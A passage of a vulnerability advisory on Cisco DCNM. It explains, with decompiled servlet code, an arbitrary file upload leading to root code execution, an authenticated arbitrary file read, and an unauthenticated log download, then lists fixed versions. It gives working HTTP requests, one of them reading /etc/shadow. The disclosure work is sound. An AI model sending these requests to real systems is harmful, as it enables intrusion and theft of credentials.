imageFormat;\n\t\t\t\t\tif (allowedFormats.contains(imageFormat.toLowerCase())) {\n\t\t\t\t\t\tFileFilter fileFilter = new FileFilter();\n\t\t\t\t\t\tfileFilter.setImageTypes(allowedFormats);\n\t\t\t\t\t\tFile[] fileList = new File(uploadDir).listFiles(fileFilter);\n\t\t\t\t\t\tfor (int i = 0; i \u003c fileList.length; ++i) {\n\t\t\t\t\t\t\tnew File(fileList[i].getAbsolutePath()).delete();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdisk = new File(uploadDir + File.separator + fname);\n\t\t\t\t\t\titem.write(disk);\n\t\t\t\t\t\tCalendar calendar = Calendar.getInstance();\n\t\t\t\t\t\tSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\n\t\t\t\t\t\tstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\n\t\t\t\t\t}\n\t\t\t\t\timageReader.dispose();\n\t\t\t\t\timageInputStream.close();\n\t\t\t\t\tatts.addAttribute(\"\", \"\", \"id\", \"CDATA\", newFileName);\n\t\t\t\t}\n\t\t\t\tcatch (Exception ex) {\n\t\t\t\t\tthis.processUploadedFile(item, uploadDir, fname);\n\t\t\t\t\tCalendar calendar = Calendar.getInstance();\n\t\t\t\t\tSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\n\t\t\t\t\tstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\n\t\t\t\t\tatts.addAttribute(\"\", \"\", \"id\", \"CDATA\", fname);\n\t\t\t\t}\n\t\t\t\thd.startElement(\"\", \"\", \"file\", atts);\n\t\t\t\thd.characters(statusMessage.toCharArray(), 0, statusMessage.length());\n\t\t\t\thd.endElement(\"\", \"\", \"file\");\n\t\t\t}\n\t\t\thd.endElement(\"\", \"\", \"response\");\n\t\t\thd.endDocument();\n\t\t\tout.close();\n\t\t}\n\t\tcatch (Exception e) {\n\t\t\tout.println(e.getMessage());\n\t\t}\n\t}\n  \nhandleUpload is more complex, but here\u0027s a summary; the function takes an HTTP form with a parameter \"uploadDir\", a parameter \"fname\" and then takes the last form object and writes it into \"uploadDir/fname\". \nHowever, there is a catch... the file has to be a valid image with one of the extensions listed here:\n\t\tallowedFormats.add(\"jpeg\");\n\t\tallowedFormats.add(\"png\");\n\t\tallowedFormats.add(\"gif\");\n\t\tallowedFormats.add(\"jpg\");\n\t\tallowedFormats.add(\"cert\");\n    \nHowever, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this:\n\t\t\t\ttry {\n\t\t\t\t\tString imageFormat = imageReader.getFormatName();\n\n... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block:\n\t\t\t\tcatch (Exception ex) {\n\t\t\t\t\tthis.processUploadedFile(item, uploadDir, fname);\n\t\t\t\t\tCalendar calendar = Calendar.getInstance();\n\t\t\t\t\tSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\n\t\t\t\t\tstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\n\t\t\t\t\tatts.addAttribute(\"\", \"\", \"id\", \"CDATA\", fname);\n          \n... meaning that the file contents, upload dir and its name are sent into processUploadedFile. \n\nLet\u0027s look into that now:\n\tprivate void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {\n\t\ttry {\n\t\t\tint offset;\n\t\t\tint contentLength = (int)item.getSize();\n\t\t\tInputStream raw = item.getInputStream();\n\t\t\tBufferedInputStream in = new BufferedInputStream(raw);\n\t\t\tbyte[] data = new byte[contentLength];\n\t\t\tint bytesRead = 0;\n\t\t\tfor (offset = 0; offset \u003c contentLength \u0026\u0026 (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {\n\t\t\t}\n\t\t\tin.close();\n\t\t\tif (offset != contentLength) {\n\t\t\t\tthrow new IOException(\"Only read \" + offset + \" bytes; Expected \" + contentLength + \" bytes\");\n\t\t\t}\n\t\t\tFileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);\n\t\t\tout.write(data);\n\t\t\tout.flush();\n\t\t\tout.close();\n\t\t}\n\t\tcatch (Exception ex) {\n\t\t\tthrow new Exception(\"FileUploadSevlet processUploadFile failed: \" + ex.getMessage());\n\t\t}\n\t}\n  \nAmazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated. \nIn summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root. \n  \nIf we send the following request:\nPOST /fm/fileUpload HTTP/1.1\nHost: 10.75.1.40\nCookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;\nContent-Length: 429\nContent-Type: multipart/form-data; boundary=---------------------------9313517619947\n\n-----------------------------9313517619947\nContent-Disposition: form-data; name=\"fname\"\n\nowned\n-----------------------------9313517619947\nContent-Disposition: form-data; name=\"uploadDir\"\n\n/tmp/\n-----------------------------9313517619947\nContent-Disposition: form-data; name=\"filePath\"; filename=\"whatever\"\nContent-Type: application/octet-stream\n\n\u003cany text or binary content here\u003e\n\n-----------------------------9313517619947--\n\nThe server will respond with:\nHTTP/1.1 200 OK\nX-FRAME-OPTIONS: SAMEORIGIN\nContent-Type: text/xml;charset=utf-8\nDate: Mon, 03 Sep 2018 00:57:11 GMT\nConnection: close\nServer: server\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE response SYSTEM \"response.dtd\"\u003e\n\u003cresponse\u003e\n\u003cfield id=\"fname\"\u003eowned\u003c/field\u003e\n\u003cfield id=\"uploadDir\"\u003e/tmp/\u003c/field\u003e\n\u003cfile id=\"whatever\"\u003eFile successfully written to server at 09.02.18 05:57:11 PM\u003c/file\u003e\n\u003c/response\u003e\n\nAnd our file has been written as root on the server:\n[root@dcnm_vm ~]# ls -l /tmp/\n(...)\n-rw-r--r--  1 root          root               16 Sep  2 17:57 owned\n(...)\n\nFinally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution. \n\nA Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5]. \n\nThe code below shows the servlet request processing code:\ncom.cisco.dcbu.web.client.util.DownloadServlet \n\n\tpublic void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tCredentials cred = (Credentials)((Object)request.getSession().getAttribute(\"credentials\"));\n\t\tif (cred == null || !cred.isAuthenticated()) {\n\t\t\tthrow new ServletException(\"User not logged in or Session timed out.\");\n\t\t}\n\t\tString showFile = (String)request.getAttribute(\"showFile\");\n\t\tif (showFile == null) {\n\t\t\tshowFile = request.getParameter(\"showFile\");\n\t\t}\n\t\tFile f = new File(showFile);\n\t\tif (showFile.endsWith(\".cert\")) {\n\t\t\tresponse.setContentType(\"application/octet-stream\");\n\t\t\tresponse.setHeader(\"Pragma\", \"cache\");\n\t\t\tresponse.setHeader(\"Cache-Control\", \"cache\");\n\t\t\tresponse.setHeader(\"Content-Disposition\", \"attachment; filename=fmserver.cert;\");\n\t\t} else if (showFile.endsWith(\".msi\")) {\n\t\t\tresponse.setContentType(\"application/x-msi\");\n\t\t\tresponse.setHeader(\"Pragma\", \"cache\");\n\t\t\tresponse.setHeader(\"Cache-Control\", \"cache\");\n\t\t\tresponse.setHeader(\"Content-Disposition\", \"attachment; filename=\" + f.getName() + \";\");\n\t\t} else if (showFile.endsWith(\".xls\")) {\n\t\t\tresponse.setContentType(\"application/vnd.ms-excel\");\n\t\t\tresponse.setHeader(\"Pragma\", \"cache\");\n\t\t\tresponse.setHeader(\"Cache-Control\", \"cache\");\n\t\t\tresponse.setHeader(\"Content-Disposition\", \"attachment; filename=\" + f.getName() + \";\");\n\t\t}\n\t\tServletOutputStream os = response.getOutputStream();\n\t\tFileInputStream is = new FileInputStream(f);\n\t\tbyte[] buffer = new byte[4096];\n\t\tint read = 0;\n\t\ttry {\n\t\t\twhile ((read = is.read(buffer)) \u003e 0) {\n\t\t\t\tos.write(buffer, 0, read);\n\t\t\t}\n\t\t\tos.flush();\n\t\t}\n\t\tcatch (Exception e) {\n\t\t\tLogService.log(LogService._WARNING, e.getMessage());\n\t\t}\n\t\tfinally {\n\t\t\tis.close();\n\t\t}\n\t}\n}\n\nAs you can see, it\u0027s quite simple. It takes a \"showFile\" request parameter, reads that file and returns to the user. Here\u0027s an example of the servlet in action:\n\nRequest:\nGET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1\nHost: 10.75.1.40\nCookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;\n\nResponse:\nHTTP/1.1 200 OK\n\nroot:$1$(REDACTED).:17763:0:99999:7:::\nbin:*:15980:0:99999:7:::\ndaemon:*:15980:0:99999:7:::\nadm:*:15980:0:99999:7:::\nlp:*:15980:0:99999:7:::\n(...)\n\nAn interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code. \n\nA Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6]. \n\nTo access it, simply request:\nGET /fm/log/fmlogs.zip\n\nCode is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet. \n\n\n\u003e\u003e Fix: \nFor #1, upgrade to DCNM 11.0(1) and above [3]. \nFor #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5]. \nFor #4, it is not clear from Cisco\u0027s advisory on which version it was fixed [6]. \n\n\n\u003e\u003e References:\n[1] https://www.accenture.com/us-en/service-idefense-security-intelligence\n[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html\n[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass\n[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex\n[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld\n[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl\n\n\n\u003e\u003e Disclaimer:\nPlease note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. \nUnconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor\u0027s responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. \nAgile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. \nIt is the vendor\u0027s responsibility to ensure their products\u0027 security before, during and after release to market. \n\nAll information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). \nFor information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. \nFor more information check https://www.gnu.org/licenses/gpl-3.0.en.html\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business",
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